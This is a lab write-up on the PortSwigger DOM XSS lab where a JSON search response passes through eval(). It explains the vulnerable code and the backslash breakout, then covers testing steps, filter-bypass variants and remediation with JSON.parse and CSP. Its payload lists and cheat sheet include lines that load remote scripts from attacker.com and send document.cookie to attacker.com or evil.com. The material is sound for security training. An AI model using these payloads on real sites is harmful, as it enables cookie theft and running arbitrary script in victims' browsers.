PortSwigger — 2025.11.26

JSON Injection via eval(): DOM XSS Breakout

PortSwigger DOM-based XSS (eval of JSON response) medium

Overview

JSON Injection via eval() is a critical DOM-based XSS vulnerability that occurs when user-controlled input is included in JSON responses that are then directly evaluated using JavaScript’s eval() function. This allows attackers to break out of the JSON structure and execute arbitrary JavaScript code.

The Vulnerability Pattern

Vulnerable Code Example

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
}

Why This is Dangerous

  1. User input flows into JSON response from the server
  2. JSON response is concatenated into a string
  3. The string is passed to eval() which executes it as JavaScript
  4. No validation or sanitization of the JSON content

The Attack Flow

User Input -> Server -> JSON Response -> eval() -> Code Execution

Understanding the Exploitation

Normal Behavior

User searches for: test

Server returns:

{"searchTerm":"test","results":[]}

Gets eval’d as:

eval('var searchResultsObj = {"searchTerm":"test","results":[]}');

Result: Safe - creates a JavaScript object

Malicious Injection

User searches for: \"-alert(1)}//

Server returns (with backslash escaping):

{"searchTerm":"\\"-alert(1)}//","results":[]}

Gets eval’d as:

eval('var searchResultsObj = {"searchTerm":"\\"-alert(1)}//","results":[]}');

What happens:

  1. \\ -> Becomes a literal backslash character in the string
  2. " -> Closes the JSON string property
  3. -alert(1) -> Executes (minus converts alert to number, then calls it)
  4. } -> Closes the object
  5. // -> Comments out the rest of the line

Result: alert(1) executes!

Working Payloads

Basic Alert

\"-alert(1)}//

URL:

?search=\"-alert(1)}//

URL Encoded:

?search=%5C%22-alert(1)%7D//

Call print() for CTF

\"-print()}//

URL:

?search=\"-print()}//

Execute Arbitrary Code

\"-eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))}//

Load Remote Script

\"-fetch('//attacker.com/exploit.js').then(r=>r.text()).then(eval)}//

Or:

\"-var s=document.createElement('script');s.src='//attacker.com/x.js';document.body.appendChild(s)}//

Exfiltrate Data

\"-document.location='http://attacker.com/?c='+document.cookie}//

Alternative Payload Formats

Without Backslash (If Server Doesn’t Escape)

"-alert(1)}//

Using Semicolon

\";alert(1);//

Multi-line Format

\"-alert(1)-\"

Close Object and Execute

"};alert(1);//

Break JSON Structure Completely

","x":"y"}-alert(1)-{"a":"b

Why the Backslash Technique Works

The Escaping Chain

Your Input

\"-alert(1)}//

Server Processing

Most backends escape special characters:

  • PHP: addslashes() or json_encode()
  • JavaScript: JSON.stringify() or manual escaping
  • Python: json.dumps() or manual escaping

They convert:

  • \ -> \\
  • " -> \"

So your input becomes:

\\\"-alert(1)}//

In JSON Response

{"searchTerm":"\\\"-alert(1)}//"}

When eval() Processes It

The string literal in eval:

'var searchResultsObj = {"searchTerm":"\\\"-alert(1)}//"}'

Gets interpreted as:

var searchResultsObj = {"searchTerm":"\\"-alert(1)}//"}
                                        ↑↑ Literal backslash
                                          ↑ Closes string
                                            ↑ Your code executes

Testing Methodology

Step 1: Identify eval() Usage

Search the JavaScript source for:

  • eval(
  • Function(
  • setTimeout( with string argument
  • setInterval( with string argument

Look for patterns where user input or server responses are eval’d.

Step 2: Inspect the Server Response

  1. Open browser DevTools (F12)
  2. Go to Network tab
  3. Perform a search
  4. Find the XHR/Fetch request
  5. Look at the Response tab
  6. Note the JSON structure

Example response:

{
  "searchTerm": "your_input_here",
  "results": [...]
}

Step 3: Test Basic Injection

Try breaking the JSON structure:

?search="test

Check if you get a JavaScript error in console. If yes, injection is possible.

Step 4: Test Code Execution

Try a simple alert:

?search=\"-alert(1)}//

If that doesn’t work, try without backslash:

?search="-alert(1)}//

Step 5: Refine the Payload

Based on the JSON structure and escaping behavior, adjust your payload.

Common Variations

Array Context

If the JSON is an array:

["search_term", "other", "data"]

Payload:

\",alert(1),\"

Result:

["\\",alert(1),"\"", "other", "data"]
  ↑ Closes string
      ↑ Executes
           ↑ Opens new string

Nested Object Context

If your input is nested:

{"data":{"query":"search_term"}}

Payload:

\"}}-alert(1)//{"a":\"

Multiple Properties

If there are multiple properties:

{"term":"input","page":1}

Payload:

\","page":1}-alert(1)//{"term":\"

Defense Bypass Techniques

If Quotes are Filtered

Use String.fromCharCode:

\"-eval(String.fromCharCode(97,108,101,114,116,40,49,41))}//

If alert is Blocked

\"-prompt(1)}//
\"-confirm(1)}//
\"-console.log(1)}//

If Parentheses are Filtered

\"-onerror=alert;throw 1}//

Using Template Literals

\"-eval(`alert${1}`)}//

Obfuscation

\"-eval(atob('YWxlcnQoMSk='))}//

Base64 encodes alert(1)

Real-World Examples

Example 1: Search Functionality

Vulnerable code:

xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        eval('var results = ' + this.responseText);
        displayResults(results);
    }
};

Attack:

?q=\"-fetch('//evil.com/log?c='+document.cookie)}//

Example 2: User Preferences

Vulnerable code:

function loadPreferences() {
    var prefs = xhr.responseText;
    eval('var userPrefs = ' + prefs);
    applyPreferences(userPrefs);
}

Attack: Modify profile settings to include:

\"-alert(document.domain)}//

Example 3: API Response Handling

Vulnerable code:

fetch('/api/data?id=' + userId)
    .then(r => r.text())
    .then(data => eval('var obj = ' + data));

Attack: Control userId parameter:

?id=1%5C%22-alert(1)%7D//

Why eval() is Dangerous

eval() Executes Arbitrary Code

eval('alert(1)')              // Executes alert
eval('var x = 1')             // Creates variable
eval('function f(){}')        // Creates function
eval(userInput)               // EXTREMELY DANGEROUS

No Sandboxing

  • Full access to global scope
  • Can access all variables
  • Can modify the DOM
  • Can make network requests
  • Can access cookies, localStorage, etc.

Alternatives to eval()

Instead of:

eval('var obj = ' + jsonString);

Use:

var obj = JSON.parse(jsonString);  // Safe!

Detection Tips

Grep Patterns for Code Review

Search for these patterns in JavaScript code:

grep -r "eval(" .
grep -r "eval('" .
grep -r 'eval("' .
grep -r "Function(" .
grep -r "setTimeout.*+" .
grep -r "setInterval.*+" .

Browser Console Detection

Check if eval is being used:

// Override eval to log calls
var originalEval = eval;
eval = function(code) {
    console.log('eval called with:', code);
    return originalEval(code);
};

Network Tab Indicators

Look for:

  • XHR/Fetch requests that return JSON
  • Responses that include user input
  • eval() calls in the JavaScript that process responses

Complete Attack Example

Vulnerable Application

HTML:

<!DOCTYPE html>
<html>
<head><title>Search</title></head>
<body>
    <div class="blog-header"></div>
    <section class="blog-list"></section>
    <script src="search.js"></script>
</body>
</html>

search.js:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
}

window.onload = function() {
    search('/api/search');
};

Server Response (for input “test”):

{"searchTerm":"test","results":[]}

The Attack

Attacker crafts URL:

https://vulnerable-app.com/?search=\"-alert(document.domain)}//

Server returns:

{"searchTerm":"\\"-alert(document.domain)}//","results":[]}

eval() processes:

eval('var searchResultsObj = {"searchTerm":"\\"-alert(document.domain)}//","results":[]}');

Becomes:

var searchResultsObj = {"searchTerm":"\\"-alert(document.domain)}//","results":[]};
                                        ↑↑ Escaped backslash
                                          ↑ Closes string
                                            ↑ Code executes!

Result: Alert box displays the domain

Prevention and Remediation

Never Use eval() with User Input

Bad:

eval('var obj = ' + jsonString);

Good:

var obj = JSON.parse(jsonString);

Use JSON.parse() Instead

// Safe JSON parsing
try {
    var obj = JSON.parse(jsonString);
} catch(e) {
    console.error('Invalid JSON:', e);
}

Content Security Policy

Add CSP header to block eval:

Content-Security-Policy: script-src 'self'; object-src 'none'

This prevents eval(), Function(), and inline scripts.

Input Validation (Defense in Depth)

Even though JSON.parse() is safe, validate input:

function isValidSearchTerm(term) {
    // Only allow alphanumeric and spaces
    return /^[a-zA-Z0-9 ]*$/.test(term);
}

Server-Side Output Encoding

Properly encode JSON:

// Node.js example
res.json({ searchTerm: userInput });  // Automatically escaped

// NOT this:
res.send('{"searchTerm":"' + userInput + '"}');  // VULNERABLE

Key Takeaways

  1. eval() with user input is extremely dangerous - Never use it
  2. JSON.parse() is the safe alternative - Always use it for parsing JSON
  3. Backslash escaping can be bypassed - The \\" technique breaks JSON string literals
  4. Test by inspecting server responses - Use DevTools Network tab to see exact JSON
  5. The minus operator is key - -alert(1) works because minus converts to number then executes
  6. Comment syntax // is essential - It neutralizes the rest of the broken JSON
  7. This works across all backends - PHP, Node.js, Python all have similar escaping behavior

Quick Reference

Payload Cheat Sheet

// Basic alert
\"-alert(1)}//

// Call print()
\"-print()}//

// Load remote script
\"-fetch('//attacker.com/x.js').then(r=>r.text()).then(eval)}//

// Exfiltrate cookies
\"-fetch('//attacker.com/?c='+document.cookie)}//

// Without backslash
"-alert(1)}//

// Using semicolon
\";alert(1);//

// Array context
\",alert(1),\"

URL Encoding Table

Character URL Encoded
\ %5C
" %22
} %7D
/ %2F
; %3B
Space %20 or +

Full Encoded Payload

%5C%22-alert(1)%7D//
#xss #dom-xss #eval #json-injection #portswigger #webapp